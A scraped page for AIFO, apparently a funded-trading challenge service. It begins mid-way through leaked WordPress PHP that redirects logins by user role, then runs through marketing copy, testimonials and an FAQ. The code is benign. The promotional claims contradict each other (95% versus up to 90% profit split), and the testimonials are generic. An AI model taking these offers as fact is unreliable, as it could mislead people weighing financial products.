}, 999, 2);
/**
* 登录完成后强制跳后台(Editor / Admin)
*/
add_filter('login_redirect', function ($redirect_to, $requested, $user) {
if (is_wp_error($user) || !$user) return $redirect_to;
if (user_can($user, 'administrator') || user_can($user, 'editor')) {
return admin_url();
}
return $redirect_to;
}, 999, 3);
/**
* UM 登录跳转修正
*/
add_filter('um_login_redirect_url', function ($url, $user_id) {
$user = get_userdata($user_id);
if (!$user) return $url;
if (in_array('editor', (array) $user->roles, true)) {
return admin_url();
}
return $url;
}, 999, 2);
add_action('admin_init', function () {
// Ajax 请求不拦截
if (defined('DOING_AJAX') && DOING_AJAX) {
return;
}
// cron / rest 建议也排除(推荐)
if (defined('DOING_CRON') && DOING_CRON) {
return;
}
if (!is_user_logged_in()) return;
if (current_user_can('administrator') || current_user_can('editor')) {
return;
}
wp_redirect(home_url());
exit;
});
add_filter('login_redirect', function ($redirect_to, $request, $user) {
if (is_wp_error($user) || !$user) {
return $redirect_to;
}
if (user_can($user, 'administrator') || user_can($user, 'editor')) {
return admin_url();
}
return home_url('/');
}, 10, 3);
// add_action('admin_init', function () {
// error_log('ADMIN INIT: ' . wp_get_current_user()->user_login);
// });
// add_action('plugins_loaded', function () {
// error_log('PASS plugins_loaded');
// });
// add_action('init', function () {
// error_log('PASS init');
// });
// add_action('wp_loaded', function () {
// error_log('PASS wp_loaded');
// });
// // 添加调试日志
// add_action('all', function($hook) {
// if (strpos($hook, 'redirect') !== false || strpos($hook, 'login') !== false) {
// error_log("Hook fired: " . $hook);
// }
// });
// // 记录重定向
// add_action('wp_redirect', function($location, $status) {
// error_log("重定向到: " . $location);
// error_log("状态码: " . $status);
// error_log("当前URL: " . home_url($_SERVER['REQUEST_URI']));
// error_log("REQUEST_URI: " . $_SERVER['REQUEST_URI']);
// return $location;
// }, 10, 2);
?>
blog | AIFO
Why
Choose AIFO
At AIFO, we support our traders by providing educational support , flexible challenges, and hassle-free quick payouts. Everything a trader needs to go pro.
Flexible Challenges
Find the path that fits you best — whether it’s a simple one-step challenge or a more in-depth two-step evaluation. Each option is designed around your goals, so you stay in control of your journey.
Scale Up To A $200K Account
Start trading with an account size that feels comfortable, then trade with more capital as your skills and consistency improve, and scale your way to a $200,000 account.
Supportive Trader Community
Join a vibrant network of traders who share tips, wins, and encouragement. From group
discussions to peer support,you'll never have to trade alone.
AIFO Academy
Learn the fundamentals of trading and advanced strategies through clear, step-by-step lessons designed to sharpen your skills and keep you moving forward.
Mindset Coaching
Build focus and discipline needed to thrive under pressure. Our expert coaches will guide you in developing the psychology that keeps you steady through every market move.
Trading Tools
Take advantage of intuitive dashboards, insights, and trading analytics that bring clarity to your decisions and precision to every trade.
Your Path
To Becoming
A Funded Trader
Follow AIFO's simple supportive
3-step journey and start your
funded trading account.
Choose
Choose Your Challenge
Pick the evaluation style that suits your needs, from an easy one-step test to a more in-depth two-step program.
Risk-Free Simulated Trading
Practice in a safe, risk-free environment that mirrors real market conditions. It’s your chance to test your discipline, consistency, and strategy without risking real capital.
Get Funded & Grow with Us
When you’re ready, we’ll back you with a funded account, offering you 95% of your profits. Scale your account as your skills and confidence grow, turning your trading dream into reality.
Choose
Your Challenge
Whether you’re taking your first step or working toward larger accounts, AIFO has flexible challenges designed to match your style and support your growth.
1 STEP
2 STEP
3 STEP
INSTANT
Add-ons for Challenger
+20%
Profit split increase up to 90%
+10%
Fast payout (payout on demand)
Add-ons for Challenger
+20%
Profit split increase up to 90%
+10%
Fast payout (payout on demand)
Grow As
A Trader
At AIFO, we believe trading is about more than passing a challenge, it’s about growing into the trader you’ve always wanted to be. We support all our traders with educational content and the right tools to help you build confidence, consistency, and long-term success.
AIFO Academy
Discover trading fundamentals and basic to advanced strategies through clear, step-by-step lessons designed to sharpen your skills and keep you moving forward.
Mindset Coaching
Build the focus and discipline you need to thrive under pressure. Our expert coaches will guide you in developing the psychology that keeps you steady through every market move.
Trading Tools
Take advantage of intuitive dashboards and analytics that bring clarity to your decisions and precision to every trade.
What Thousands
Of Traders
Say About AIFO
Across the globe, traders trust AIFO not just for funding but for the support, learning , and shared success that make this community feel like family.
Ethan Walker
2 hours ago
Clear rules, smooth start
The dashboard is simple and the rules are explained in plain language. I like that drawdown and targets are easy to track day-to-day.
Read More
Sophie Bennett
4 hours ago
Great for disciplined traders
The limits encourage good habits. Once I set my risk per trade, sticking to the plan became much easier during volatile sessions.
Read More
Oliver Hayes
Yesterday
Fast setup, no confusion
Signing up was quick and the account sizes/pricing were transparent. The comparison layout helped me pick the right challenge in minutes.
Read More
Charlotte Morgan
2 days ago
Helpful support responses
I asked about news trading and payout timing and got a clear answer quickly. That gave me confidence before starting.
Read More
Lucas Reed
3 days ago
Best layout I’ve seen
The cards and table views make it easy to compare fees, drawdown, and targets across account sizes. Clean and professional.
Read More
Amelia Carter
1 week ago
Good experience so far
I’m using the 2-step structure and it’s been straightforward. The progress tracking makes it obvious where I stand at any time.
Read More
Join
Our Community
Join a supportive network of traders where you can share insights,
learn together, and celebrate every step of your journey.
Frequently Asked
Questions
AIFO is dedicated to providing traders with professional, fair, and transparent funding solutions. Through strict risk management rules, consistency scores, and diverse account types, we help traders demonstrate their skills in real market conditions and achieve sustainable profits. Our mission is to create an efficient, reliable, and secure trading ecosystem where traders can focus on executing strategies while enjoying fair earning opportunities.
Traders are allowed to hold overnight and weekend positions. Open positions can be carried beyond the trading day without forced closure, but traders must still comply with all risk management rules and the single-trade risk limit.
See more
Payout refers to transferring the account's Profit Split to the trader’s personal bank account or payment channel. Before requesting a Payout, traders must meet the minimum Payout amount to successfully submit the request and receive their profits.
See more
Spread refers to the difference between the bid (buy) and ask (sell) prices of a financial instrument. Spread affects trading costs, and a wider spread may increase the cost of opening or closing trades.
Start Your
learning
Journey with AIFO
Increase your knowledge of trading and join a supportive community of traders. When ready, step into live trading with confidence. AIFO is where learning turns into opportunity, and your profits become reality.
The discount code has been copied to the clipboard!
Chat with us , powered by LiveChat